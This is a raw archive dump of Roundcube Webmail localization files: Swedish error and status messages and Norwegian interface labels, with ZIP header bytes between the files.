$messages['forbiddencharacter'] = 'Mappnamnet innehåller otillåtna tecken.';
$messages['selectimportfile'] = 'Välj en fil att ladda upp.';
$messages['addresswriterror'] = 'Markerad adressbok är skrivskyddad.';
$messages['contactaddedtogroup'] = 'Kontakterna har lagts till i gruppen.';
$messages['contactremovedfromgroup'] = 'Kontakterna har tagits bort från gruppen.';
$messages['nogroupassignmentschanged'] = 'Ingen grupptillhörighet ändrades.';
$messages['importwait'] = 'Importerar, var god vänta...';
$messages['importformaterror'] = 'Importen misslyckades! Filen har inte korrekt dataformat.';
$messages['importconfirm'] = '<b>Lyckad import av $inserted kontakter</b>';
$messages['importconfirmskipped'] = '<b>Hoppade över $skipped befintliga poster</b>';
$messages['importmessagesuccess'] = '$nr meddelanden har importerats';
$messages['importmessageerror'] = 'Importen misslyckades! Filen är inte ett giltigt meddelande eller en brevlåda';
$messages['opnotpermitted'] = 'Otillåten operation!';
$messages['nofromaddress'] = 'Vald identitet saknar adress.';
$messages['editorwarning'] = 'Genom att byta textredigerare kan formateringen av texten gå förlorad. Vill du fortsätta?';
$messages['httpreceivedencrypterror'] = 'Ett irreparabelt fel har uppstått. Kontakta administratören omgående. <b>Meddelandet kan inte skickas.</b>';
$messages['smtpconnerror'] = 'SMTP-fel ($code): Anslutning till servern misslyckades.';
$messages['smtpautherror'] = 'SMTP-fel ($code): Inloggningen misslyckades.';
$messages['smtpfromerror'] = 'SMTP-fel ($code): Kan inte sätta avsändaradress till "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP-fel ($code): Kan inte lägga till mottagaradress "$to" ($msg).';
$messages['smtprecipientserror'] = 'SMTP-fel: Felaktigt formaterad lista med mottagaradresser.';
$messages['smtputf8error'] = 'SMTP-fel: Servern klarar inte mailadresser med Unicode.';
$messages['smtpsizeerror'] = 'SMTP-fel: Meddelandet är för stort ($limit).';
$messages['smtperror'] = 'SMTP-fel: $msg';
$messages['emailformaterror'] = 'Ogiltig adress: $email';
$messages['toomanyrecipients'] = 'Förmånga mottagare. Minska antalet till högst $max.';
$messages['maxgroupmembersreached'] = 'Antalet gruppmedlemmar får inte överstiga $max.';
$messages['internalerror'] = 'Ett internt fel uppstod. Försök igen.';
$messages['contactdelerror'] = 'Kontakt kunde inte tas bort.';
$messages['contactdeleted'] = 'Kontakt borttagen.';
$messages['contactrestoreerror'] = 'Borttagna kontakter kunde inte återskapas.';
$messages['contactrestored'] = 'Kontakter återskapade.';
$messages['groupdeleted'] = 'Grupp borttagen.';
$messages['grouprenamed'] = 'Gruppnamn ändrat.';
$messages['groupcreated'] = 'Grupp skapad.';
$messages['savedsearchdeleted'] = 'Sparad sökning borttagen.';
$messages['savedsearchdeleteerror'] = 'Kunde inte ta bort sparad sökning.';
$messages['savedsearchcreated'] = 'Sparad sökning tillagd.';
$messages['savedsearchcreateerror'] = 'Kunde inte lägga till sparad sökning.';
$messages['messagedeleted'] = 'Meddelande borttaget.';
$messages['messagemoved'] = 'Meddelande flyttat.';
$messages['messagemovedtotrash'] = 'Meddelanden flyttade till Papperskorg.';
$messages['messagecopied'] = 'Meddelande kopierat.';
$messages['messagemarked'] = 'Meddelande markerat.';
$messages['autocompletechars'] = 'Ange minst $min tecken för automatisk komplettering.';
$messages['autocompletemore'] = 'Ytterligare passande poster funna. Skriv fler tecken.';
$messages['namecannotbeempty'] = 'Namnet får inte vara tomt.';
$messages['nametoolong'] = 'Namnet är för långt.';
$messages['namedotforbidden'] = 'Mappnamnet kan inte inledas med en punkt.';
$messages['folderupdated'] = 'Mappen är uppdaterad.';
$messages['foldercreated'] = 'Mappen är skapad.';
$messages['invalidimageformat'] = 'Ogiltigt bildfilsformat.';
$messages['mispellingsfound'] = 'Stavfel hittades i meddelandet.';
$messages['parentnotwritable'] = 'Mappen kunde inte skapas eller flyttas. Åtkomsträttighet saknas.';
$messages['messagetoobig'] = 'Meddelandet är alltför stort att behandla.';
$messages['attachmentvalidationerror'] = 'Den här bilagan är misstänkt eftersom dess typ inte överensstämmer med typen som anges i meddelandet. Om du inte litar på avsändaren ska du inte öppna bilagan i webbläsaren eftersom innehållet kan vara skadligt.<br/><br/><em>Förväntad: $expected; Funnen: $detected</em>';
$messages['noscriptwarning'] = 'Varning: Denna webbmailtjänst fungerar inte utan Javascript! Aktivera Javascript i webbläsarens inställningar.';
$messages['messageissent'] = 'Meddelandet är skickat men har inte sparats ännu. Vill du spara meddelandet nu?';
$messages['errnotfound'] = 'Filen hittades inte';
$messages['errnotfoundexplain'] = 'Efterfrågad resurs hittades inte!';
$messages['errfailedrequest'] = 'Begäran misslyckades';
$messages['errauthorizationfailed'] = 'Autentiseringen misslyckades';
$messages['errunauthorizedexplain'] = 'Din behörighet till den här tjänsten kunde inte bekräftas!';
$messages['errrequestcheckfailed'] = 'Kontroll av begäran misslyckades';
$messages['errcsrfprotectionexplain'] = "Åtkomst till den här resursen är skyddad mot CSRF.\nDetta visas därför att utloggning från tjänsten inte gjordes korrekt.\n\nEn aktiv handling krävs nu för att fortsätta.";
$messages['errcontactserveradmin'] = 'Kontakta administratören.';
$messages['clicktoresumesession'] = 'Klicka här för att återuppta föregående session';
$messages['errcomposesession'] = 'Fel i påbörjat meddelande';
$messages['errcomposesessionexplain'] = 'Det påbörjade meddelandet hittades inte.';
$messages['clicktocompose'] = 'Klicka här för att skriva ett nytt meddelande';
$messages['nosupporterror'] = 'Funktionen finns inte i webbläsaren.';
$messages['siginserted'] = 'Signatur infogad.';
$messages['responseinserted'] = 'Respons infogad.';
$messages['noresponsesavailable'] = 'Ingen respons tillgänglig';
$messages['listempty'] = 'Listan är tom.';
$messages['listusebutton'] = 'Använd Skapa-knappen för att lägga till information.';
$messages['keypaircreatesuccess'] = 'Ett nytt nyckelpar har skapats för $identity.';
$messages['emptyattachment'] = 'Bilagan verkar vara tom.<br>Kontakta avsändaren.';
$messages['oauthloginfailed'] = 'OAuth-inloggningen misslyckades. Vänligen försök igen.';
PK
h�\��l�tt(program/localization/nb_NO/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:cairo'] = 'Kairo';
PK
h�\Q�4!�!�%program/localization/nb_NO/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Velkommen til $product';
$labels['username'] = 'Brukernavn';
$labels['password'] = 'Passord';
$labels['server'] = 'Tjener';
$labels['login'] = 'Logg inn';
$labels['oauthlogin'] = 'Logg inn med $provider';
$labels['menu'] = 'Meny';
$labels['logout'] = 'Logg ut';
$labels['mail'] = 'E-post';
$labels['settings'] = 'Innstillinger';
$labels['addressbook'] = 'Adressebok';
$labels['darkmode'] = 'Mørkt modus';
$labels['lightmode'] = 'Lyst modus';
$labels['inbox'] = 'Innboks';
$labels['drafts'] = 'Kladd';
$labels['sent'] = 'Sendt';
$labels['trash'] = 'Slettet';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Vis orginale navn for spesielle mapper';
$labels['subject'] = 'Emne';
$labels['from'] = 'Avsender';
$labels['sender'] = 'Avsender';
$labels['to'] = 'Mottaker';
$labels['cc'] = 'Kopi til';
$labels['bcc'] = 'Blindkopi til';
$labels['replyto'] = 'Svar til';
$labels['followupto'] = 'Oppfølging til';
$labels['date'] = 'Dato';
$labels['size'] = 'Størrelse';
$labels['priority'] = 'Prioritet';
$labels['organization'] = 'Organisasjon';
$labels['readstatus'] = 'Lese status';
$labels['listoptions'] = 'List muligheter';
$labels['listoptionstitle'] = 'Listealternativer';
$labels['mailboxlist'] = 'Mapper';
$labels['messagesfromto'] = 'Meldinger $from til $to av $count';
$labels['threadsfromto'] = 'Tråder $from til $to av $count';
$labels['messagenrof'] = 'Melding $nr av $count';
$labels['fromtoshort'] = '$from – $to av $count';
$labels['copy'] = 'Kopier';
$labels['move'] = 'Flytt';
$labels['moveto'] = 'Flytt til...';
$labels['copyto'] = 'Kopier til...';
$labels['download'] = 'Last ned';
$labels['open'] = 'Åpen';
$labels['showattachment'] = 'Vis';
$labels['showanyway'] = 'Vis likevel';
$labels['filename'] = 'Filnavn';
$labels['filesize'] = 'Filstørrelse';
$labels['addtoaddressbook'] = 'Legg til i adressebok';
$labels['sun'] = 'Søn';
$labels['mon'] = 'Man';
$labels['tue'] = 'Tir';
$labels['wed'] = 'Ons';
$labels['thu'] = 'Tor';
$labels['fri'] = 'Fre';
$labels['sat'] = 'Lør';
$labels['sunday'] = 'Søndag';
$labels['monday'] = 'Mandag';
$labels['tuesday'] = 'Tirsdag';
$labels['wednesday'] = 'Onsdag';
$labels['thursday'] = 'Torsdag';
$labels['friday'] = 'Fredag';
$labels['saturday'] = 'Lørdag';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Mai';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Des';
$labels['longjan'] = 'Januar';
$labels['longfeb'] = 'Februar';
$labels['longmar'] = 'Mars';
$labels['longapr'] = 'April';
$labels['longmay'] = 'Mai';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'Juli';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Oktober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'Desember';
$labels['today'] = 'I dag';
$labels['refresh'] = 'Oppdater';
$labels['checkmail'] = 'Se etter nye meldinger';
$labels['compose'] = 'Skriv ny e-post';
$labels['writenewmessage'] = 'Opprett ny e-post';
$labels['reply'] = 'Svar';
$labels['replytomessage'] = 'Svar på denne e-posten';
$labels['replytoallmessage'] = 'Svar til alle mottakere';
$labels['replyall'] = 'Svar alle';
$labels['replylist'] = 'Svarliste';
$labels['forward'] = 'Videresend';
$labels['forwardinline'] = 'Videresend i melding';
$labels['forwardattachment'] = 'Vidresend som vedlegg';
$labels['forwardmessage'] = 'Videresend denne e-posten';
$labels['bouncemsg'] = 'Send på nytt (bounce)';
$labels['bounce'] = 'Send på nytt';
$labels['deletemessage'] = 'Slett e-posten';
$labels['movemessagetotrash'] = 'Flytt e-posten til søppel';
$labels['printmessage'] = 'Skriv ut denne e-posten';
$labels['previousmessage'] = 'Vis forrige melding';
$labels['firstmessage'] = 'Vis første melding';
$labels['nextmessage'] = 'Vis neste melding';
$labels['lastmessage'] = 'Vis siste melding';
$labels['backtolist'] = 'Tilbake til e-postlisten';
$labels['viewsource'] = 'Vis kilde';
$labels['mark'] = 'Merke';
$labels['markmessages'] = 'Merk meldinger';
$labels['markread'] = 'Som lest';
$labels['markunread'] = 'Som ulest';
$labels['markflagged'] = 'Som flagget';
$labels['markunflagged'] = 'Som uflagget';
$labels['markundeleted'] = 'Som ikke slettet';
$labels['moreactions'] = 'Flere handlinger...';
$labels['markallread'] = 'Merk alle som lest';
$labels['folders-cur'] = 'Kun markert mappe';
$labels['folders-sub'] = 'Markert mappe og dens undermapper';
$labels['folders-all'] = 'Alle mapper';
$labels['more'] = 'Mer';
$labels['back'] = 'Tilbake';
$labels['options'] = 'Alternativer';
$labels['composeoptions'] = 'Skrivealternativer';
$labels['optionsandattachments'] = 'Alternativer og vedlegg';
$labels['actions'] = 'Handlinger';
$labels['first'] = 'Første';
$labels['last'] = 'Siste';
$labels['previous'] = 'Forrige';
$labels['next'] = 'Neste';
$labels['select'] = 'Velg';
$labels['selection'] = 'Valg';
$labels['all'] = 'Alle';
$labels['none'] = 'Ingen';
$labels['currpage'] = 'Gjeldende side';
$labels['isread'] = 'Lese';
$labels['unread'] = 'Uleste';
$labels['flagged'] = 'Flagget';
$labels['unflagged'] = 'Ikke flagget';
$labels['unanswered'] = 'Ubesvarte';
$labels['withattachment'] = 'Med vedlegg';
$labels['deleted'] = 'Slettet';
$labels['undeleted'] = 'Ikke slettet';
$labels['replied'] = 'Besvart';
$labels['forwarded'] = 'Videresendt';
$labels['invert'] = 'Inverter';
$labels['filter'] = 'Filter';
$labels['list'] = 'Liste';
$labels['threads'] = 'Tråder';
$labels['expand-all'] = 'Utvid alle';
$labels['expand-unread'] = 'Utvid uleste';
$labels['collapse-all'] = 'Skjul alle';
$labels['threaded'] = 'Trådet';
$labels['showunread'] = 'Vis uleste meldinger';
$labels['autoexpand_threads'] = 'Utvid tråder';
$labels['do_expand'] = 'alle tråder';
$labels['expand_only_unread'] = 'kun med uleste meldinger';
$labels['fromto'] = 'Avsender/Mottaker';
$labels['flag'] = 'Flagg';
$labels['attachment'] = 'Vedlegg';
$labels['nonesort'] = 'Ingen';
$labels['sentdate'] = 'Dato sendt';
$labels['arrival'] = 'Dato mottatt';
$labels['asc'] = 'stigende';
$labels['desc'] = 'synkende';
$labels['listcolumns'] = 'Listekolonner';
$labels['listsorting'] = 'Sorteringskolonne';
$labels['listorder'] = 'Sorteringsrekkefølge';
$labels['listmode'] = 'Listevisningsmodus';
$labels['lmode'] = 'Listemodus';
$labels['layout'] = 'Oppsett';
$labels['layoutwidescreen'] = 'Bredskjerm';
$labels['layoutdesktop'] = 'Skrivebord';
$labels['layoutlist'] = 'Liste';
$labels['layoutwidescreendesc'] = 'Bredskjerm (3 kolonner)';
$labels['layoutdesktopdesc'] = 'Skrivebord (bred liste og forhåndsvisning av melding under)';
$labels['layoutlistdesc'] = 'Liste (ingen epost forhåndsvisning)';
$labels['folderactions'] = 'Mappehandlinger...';
$labels['compact'] = 'Rydd opp';
$labels['empty'] = 'Tøm';
$labels['importmessages'] = 'Importer meldinger';
$labels['mailimportdesc'] = 'Du kan laste opp epost som filer i <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> eller <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> format.';
$labels['mailimportzip'] = 'Flere filer kan komprimeres til et zip-arkiv.';
$labels['quota'] = 'Plassforbruk';
$labels['unknown'] = 'ukjent';
$labels['unlimited'] = 'ubegrenset';
$labels['quotatype'] = 'Kvotetype';
$labels['quotatotal'] = 'Grense';
$labels['quotaused'] = 'Benyttet';
$labels['quotastorage'] = 'Lagringsplass';
$labels['quotamessage'] = 'Antall meldinger';
$labels['shortheaderdate'] = 'På den $date';
$labels['shortheaderto'] = 'Til $to på den $date';
$labels['shortheaderfrom'] = 'Fra $from på den $date';
$labels['quicksearch'] = 'Hurtigsøk';
$labels['searchplaceholder'] = 'Søk...';
$labels['resetsearch'] = 'Nullstill søk';
$labels['searchmod'] = 'Søke felt';
$labels['msgtext'] = 'Hele meldingen';
$labels['body'] = 'Meldingstekst';
$labels['type'] = 'Type';
$labels['namex'] = 'Navn';
$labels['searchscope'] = 'Omfanget';
$labels['currentfolder'] = 'Den nåværende mappen';
$labels['subfolders'] = 'Dette og undermappene';
$labels['allfolders'] = 'Alle mapper';
$labels['searchinterval-1W'] = 'eldre enn en uke';
$labels['searchinterval-1M'] = 'eldre enn en måned';
$labels['searchinterval-1Y'] = 'eldre enn ett år';
$labels['searchinterval1W'] = 'yngre enn en uke';
$labels['searchinterval1M'] = 'yngre enn en måned';
$labels['searchinterval1Y'] = 'yngre enn ett år';
$labels['openinextwin'] = 'Åpne i nytt vindu';
$labels['emlsave'] = 'Last ned (.eml)';
$labels['changeformattext'] = 'Vis i ren tekst';
$labels['changeformathtml'] = 'Vis i HTML';
$labels['editasnew'] = 'Rediger som ny';
$labels['send'] = 'Send.';
$labels['sendmessage'] = 'Send e-posten';
$labels['savemessage'] = 'Lagre kladd';
$labels['addattachment'] = 'Vedlegg';
$labels['charset'] = 'Tegnsett';
$labels['editortype'] = 'Format';
$labels['returnreceipt'] = 'Be om kvittering';
$labels['dsn'] = 'Leveringsstatus varsling';
$labels['keepformatting'] = 'Beholde formateringen';
$labels['mailreplyintro'] = 'Den $date, skrev $sender:';
$labels['originalmessage'] = 'Opprinnelig melding';
$labels['selectimage'] = 'Velg bilde';
$labels['addimage'] = 'Legg til bilde';
$labels['selectmedia'] = 'Velg film';
$labels['addmedia'] = 'Legg til film';
$labels['encrypt'] = 'Krypter';
$labels['encryptmessage'] = 'Krypter melding';
$labels['encryptmessagemailvelope'] = 'Krypter melding med Mailvelope';
$labels['importpubkeys'] = 'Importer offentlige nøkler';
$labels['encryptedsendialog'] = 'Sender kryptert melding';
$labels['encryptandsign'] = 'Krypter og signer';
$labels['keyid'] = 'Nøkkel ID';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Utløpt';
$labels['keyrevoked'] = 'Tilbakekalt';
$labels['bccinstead'] = 'Bruk blindkopi';
$labels['addheader'] = 'Legg til mottaker (hode)';
$labels['insert'] = 'Sett inn';
$labels['insertcontact'] = 'Sett inn kontakt(er)';
$labels['recipient'] = 'Mottaker';
$labels['recipientedit'] = 'Rediger mottaker';
$labels['editidents'] = 'Endre identiteter';
$labels['spellcheck'] = 'Stavekontroll';
$labels['checkspelling'] = 'Stavekontroll';
$labels['resumeediting'] = 'Fortsett redigering';
$labels['revertto'] = 'Tilbake til';
$labels['restore'] = 'Gjenopprett';
$labels['restoremessage'] = 'Gjenopprett melding?';
$labels['ignore'] = 'Ignorer';
$labels['responses'] = 'Svar';
$labels['insertresponse'] = 'Sett inn et svar';
$labels['manageresponses'] = 'Rediger svar';
$labels['newresponse'] = 'Opprett nytt svar';
$labels['addresponse'] = 'Legg til svar';
$labels['editresponse'] = 'Rediger svar';
$labels['editresponses'] = 'Rediger svar';
$labels['responsename'] = 'Navn';
$labels['responsetext'] = 'Svar tekst';
$labels['attach'] = 'Legg ved';
$labels['attachments'] = 'Vedlegg';
$labels['upload'] = 'Last opp';
$labels['uploadprogress'] = '$percent ($current fra $total)';
$labels['close'] = 'Lukk';
$labels['messageoptions'] = 'Meldingsalternativer...';
$labels['togglecomposeoptions'] = 'Veksle visning av skrivealternativer';
$labels['attachmentrename'] = 'Endre navn på vedlegg';
$labels['low'] = 'Lav';
$labels['lowest'] = 'Lavest';
$labels['normal'] = 'Normal';
$labels['high'] = 'Høy';
$labels['highest'] = 'Høyest';
$labels['nosubject'] = '(intet emne)';
$labels['showimages'] = 'Vis bilder';
$labels['allow'] = 'Tillat';
$labels['alwaysshow'] = 'Vis alltid bilder fra $sender';
$labels['alwaysallow'] = 'Tillat alltid fra $sender';
$labels['isdraft'] = 'Dette er en kladd.';
$labels['andnmore'] = '$nr flere ...';
$labels['details'] = 'Detaljer';
$labels['summary'] = 'Oppsummering';
$labels['headers'] = 'Hoder';
$labels['allheaders'] = 'Alle hoder...';
$labels['togglemoreheaders'] = 'Vis flere meldings-headere';
$labels['togglefullheaders'] = 'Veksle visning av meldingens headere i råformat';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Ren tekst';
$labels['savesentmessagein'] = 'Lagre sendt melding i';
$labels['dontsave'] = 'ikke lagre';
$labels['maxuploadsize'] = 'Maksimalt tillatt filstørrelse er $size';
$labels['addcc'] = 'Legg til kopiadressat (Cc)';
$labels['addbcc'] = 'Legg til blindkopiadressat (Bcc)';
$labels['addreplyto'] = 'Legg til svar til (Reply-To)';
$labels['addfollowupto'] = 'Legg til oppfølging';
$labels['sendreceipt'] = 'Sende lesebekreftelse?';
$labels['mdnrequest'] = 'Senderen av denne meldingen har bedt om å bli gjort oppmerksom på at denne meldingen er lest. Ønsker du å sende denne bekreftelsen?';
$labels['receiptread'] = 'Kvittering (lest)';
$labels['yourmessage'] = 'Dette er en kvittering for at din e-post er mottatt';
$labels['receiptnote'] = 'Merknad: Denne kvitteringen bekrefter bare at e-posten ble vist hos mottakeren. Det er ingen garanti for at mottakeren har lest eller forstått innholdet i e-posten.';
$labels['sendalwaysto'] = 'Send alltid til $email';
$labels['zoomin'] = 'Zoom Inn';
$labels['zoomout'] = 'Zoom Ut';
$labels['rotate'] = 'Roter';
$labels['increaseimage'] = 'Forstørre bilde';
$labels['decreaseimage'] = 'Forminske bilde';
$labels['rotateimage'] = 'Roter bilde';
$labels['showtools'] = 'Vis bildeverktøy';
$labels['hidetools'] = 'Skjul bildeverktøy';
$labels['name'] = 'Visningsnavn';
$labels['firstname'] = 'Fornavn';
$labels['surname'] = 'Etternavn';
$labels['middlename'] = 'Mellom Navn';
$labels['nameprefix'] = 'Prefiks';
$labels['namesuffix'] = 'Suffiks';
$labels['nickname'] = 'Kallenavn';
$labels['jobtitle'] = 'Jobb Tittel';
$labels['department'] = 'Avdeling';
$labels['gender'] = 'Kjønn';
$labels['maidenname'] = 'Pikenavn';
$labels['email'] = 'E-post';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresse';
$labels['street'] = 'Gate';
$labels['locality'] = 'Sted';
$labels['zipcode'] = 'Postkode';
$labels['region'] = 'Stat/provins';
$labels['country'] = 'Land';
$labels['birthday'] = 'Fødselsdag';
$labels['anniversary'] = 'Merkedag';
$labels['website'] = 'Nettsted';
$labels['instantmessenger'] = 'Lynmelding';
$labels['notes'] = 'Notater';
$labels['male'] = 'Mann';
$labels['female'] = 'Kvinne';
$labels['manager'] = 'Leder';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Ektefelle';
$labels['allfields'] = 'Alle felter';
$labels['search'] = 'Søk';
$labels['searchresult'] = 'Søkeresultat';
$labels['advsearch'] = 'Avansert søk';
$labels['advanced'] = 'Avansert';
$labels['other'] = 'Annet';
$labels['printcontact'] = 'Skriv ut kontakt';
$labels['qrcode'] = 'QR Kode';
$labels['typehome'] = 'Hjem';
$labels['typework'] = 'Jobb';
$labels['typeother'] = 'Annet';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Hoved';
$labels['typehomefax'] = 'Hjemmefaks';
$labels['typeworkfax'] = 'Faks på arbeid';
$labels['typecar'] = 'Bil';
$labels['typepager'] = 'Personsøker';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Hjemmeside';
$labels['typeblog'] = 'Blogg';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Legg til felt ...';
$labels['addcontact'] = 'Legg til kontakt';
$labels['editcontact'] = 'Rediger kontakt';
$labels['contacts'] = 'Kontakter';
$labels['contactproperties'] = 'Egenskaper';
$labels['contactnameandorg'] = 'Navn og Organisasjon';
$labels['personalinfo'] = 'Personlig informasjon';
$labels['personal'] = 'Personlig';
$labels['contactphoto'] = 'Kontakt bilde';
$labels['edit'] = 'Rediger';
$labels['cancel'] = 'Avbryt';
$labels['save'] = 'Lagre';
$labels['delete'] = 'Slett';
$labels['discard'] = 'Forkast';
$labels['continue'] = 'Fortsett';
$labels['ok'] = 'OK';
$labels['rename'] = 'Gi nytt navn';
$labels['addphoto'] = 'Legg til';
$labels['replacephoto'] = 'Erstatt';
$labels['uploadphoto'] = 'Last opp bilde';
$labels['choosefile'] = 'Velg fil...';
$labels['choosefiles'] = 'Velg filer...';
$labels['browse'] = 'Bla gjennom';
$labels['newcontact'] = 'Opprett ny kontakt';
$labels['deletecontact'] = 'Slett valgte kontakter';
$labels['composeto'] = 'Skriv e-post til';
$labels['contactsfromto'] = 'Kontakter $from til $to av $count';
$labels['print'] = 'Skriv ut';
$labels['export'] = 'Eksporter';
$labels['exportall'] = 'Eksporter alle';
$labels['exportsel'] = 'Eksporter valgte';
$labels['exportvcards'] = 'Eksporter kontakter i vCard-format';
$labels['newgroup'] = 'Opprett ny gruppe';
$labels['addgroup'] = 'Legg til gruppe';
$labels['grouprename'] = 'Endre navn på gruppe';
$labels['groupdelete'] = 'Slett gruppe';
$labels['groupassign'] = 'Tildel gruppe...';
$labels['groupremove'] = 'Fjern fra gruppe';
$labels['groupremoveselected'] = 'Fjern valgte kontakter fra gruppe';
$labels['uponelevel'] = 'Opp ett nivå';
$labels['previouspage'] = 'Vis forrige sett';
$labels['firstpage'] = 'Vis første sett';
$labels['nextpage'] = 'Vis neste sett';
$labels['lastpage'] = 'Vis siste sett';
$labels['group'] = 'Gruppe';
$labels['groups'] = 'Grupper';
$labels['listgroup'] = 'Vis gruppemedlemmer';
$labels['personaladrbook'] = 'Egne adresser';
$labels['searchsave'] = 'Lagre søk';
$labels['searchdelete'] = 'Slett søk';
$labels['import'] = 'Importer';
$labels['importcontacts'] = 'Importer kontakter';
$labels['importfromfile'] = 'Importer fra fil';
$labels['importtarget'] = 'Legg kontakter til';
$labels['importreplace'] = 'Erstatt hele adresseboken';
$labels['importgroups'] = 'Importer gruppetilordninger';
$labels['importgroupsall'] = 'Alle (opprett grupper hvis nødvendig)';
$labels['importgroupsexisting'] = 'Bare for eksisterende grupper';
$labels['importdesc'] = 'Du kan laste opp kontakter fra en eksisterende konktaktliste.<br/>Vi støtter foreløbig importen av kontakter under <a href="https://nb.wikipedia.org/wiki/VCard">vCard</a> eller CSV (kommaseparert fil) formatene.';
$labels['importmapdesc'] = 'Vennligst bekreft at feltene under er fordelt riktig, før du går videre med å importere CSV (comma-separated) data.';
$labels['fieldnotmapped'] = 'Felt er ubrukt (ikke importer)';
$labels['skipheader'] = 'Ikke importer første linje (overskrifter)';
$labels['done'] = 'Fullført';
$labels['settingsfor'] = 'Innstillinger for';
$labels['about'] = 'Om';
$labels['preferences'] = 'Oppsett';
$labels['userpreferences'] = 'Brukeroppsett';
$labels['editpreferences'] = 'Rediger brukeroppsett';
$labels['identities'] = 'Identiteter';
$labels['manageidentities'] = 'Behandle identiteter';
$labels['newidentity'] = 'Opprett ny identitet';
$labels['addidentity'] = 'Legg til identitet';
$labels['editidentity'] = 'Rediger identitet';
$labels['identityencryption'] = 'Kryptering';
$labels['preferhtml'] = 'Foretrekk HTML';
$labels['defaultcharset'] = 'Standard tegnsett';
$labels['htmlmessage'] = 'HTML-melding';
$labels['messagepart'] = 'Del';
$labels['digitalsig'] = 'Digital signatur';
$labels['dateformat'] = 'Datoformat';
$labels['timeformat'] = 'Tidsformat';
$labels['prettydate'] = 'Pen datovisning';
$labels['setdefault'] = 'Sett som standard';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Språk';
$labels['timezone'] = 'Tidssone';
$labels['pagesize'] = 'Linjer per side';
$labels['signature'] = 'Signatur';
$labels['dstactive'] = 'Sommertid';
$labels['showinextwin'] = 'Åpne melding i nytt vindu';
$labels['composeextwin'] = 'Skriv i nytt vindu';
$labels['htmleditor'] = 'Bruk HTML-editor';
$labels['htmlonreply'] = 'ved svar på HTML-melding';
$labels['htmlonreplyandforward'] = 'ved videresending av eller svar på HTML-melding';
$labels['htmlsignature'] = 'HTML-signatur';
$labels['showemail'] = 'Vis e-postadresse sammen med visningsnavn';
$labels['previewpane'] = 'Forhåndsvisning';
$labels['skin'] = 'Utseende';
$labels['logoutclear'] = 'Tøm søppel ved utlogging';
$labels['logoutcompact'] = 'Kompakt innboksen ved utlogging';
$labels['uisettings'] = 'Brukergrensesnitt';
$labels['serversettings'] = 'Serverinnstillinger';
$labels['mailboxview'] = 'E-postvisning';
$labels['mdnrequests'] = 'Tilbakemelding til avsender';
$labels['askuser'] = 'spør hver gang';
$labels['autosend'] = 'send automatisk';
$labels['autosendknown'] = 'send kvittering til kontaktene mine, ellers spør meg';
$labels['autosendknownignore'] = 'send kvittering til kontaktene mine, ellers ignorer';
$labels['autosendtrusted'] = 'send kvittering til mine pålitelige kontakter, ellers spør meg';
$labels['autosendtrustedignore'] = 'send kvittering til mine pålitelige kontakter, ellers ignorer';
$labels['ignorerequest'] = 'Ignorer forespørsel';
$labels['readwhendeleted'] = 'Merk melding som lest ved sletting';
$labels['flagfordeletion'] = 'Flagg meldingen for sletting i stedet for å slette';
$labels['skipdeleted'] = 'Ikke vis slettede meldinger';
$labels['deletealways'] = 'Hvis en melding ikke kan flyttes til Slettet, slett den';
$labels['deletejunk'] = 'Slett meldinger i spam direkte';
$labels['showremoteimages'] = 'Vis bilder fra eksterne servere i meldinger';
$labels['allowremoteresources'] = 'Tillatt ekstrerne ressurser (bilder, stiler)';
$labels['fromknownsenders'] = 'fra kjente avsendere';
$labels['fromtrustedsenders'] = 'fra pålitelige avsendere';
$labels['frommycontacts'] = 'fra mine kontakter';
$labels['always'] = 'alltid';
$labels['alwaysbutplain'] = 'Alltid, untatt når man svarer på ren tekst';
$labels['showinlineimages'] = 'Vis vedlagte bilder nedenfor meldingen';
$labels['autosavedraft'] = 'Autolagring av utkast';
$labels['everynminutes'] = 'hvert $n minutt';
$labels['refreshinterval'] = 'Oppdater (sjekk for nye meldinger etc.)';
$labels['never'] = 'Aldri';
$labels['immediately'] = 'umiddelbart';
$labels['messagesdisplaying'] = 'Visning av meldinger';
$labels['messagescomposition'] = 'Skriving av meldinger';
$labels['mimeparamfolding'] = 'Vedleggsnavn';
$labels['2231folding'] = 'Fullstendig RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Fullstendig RFC 2047 (andre)';
$labels['force7bit'] = 'Bruk MIME-koding for 8-bit-tegn';
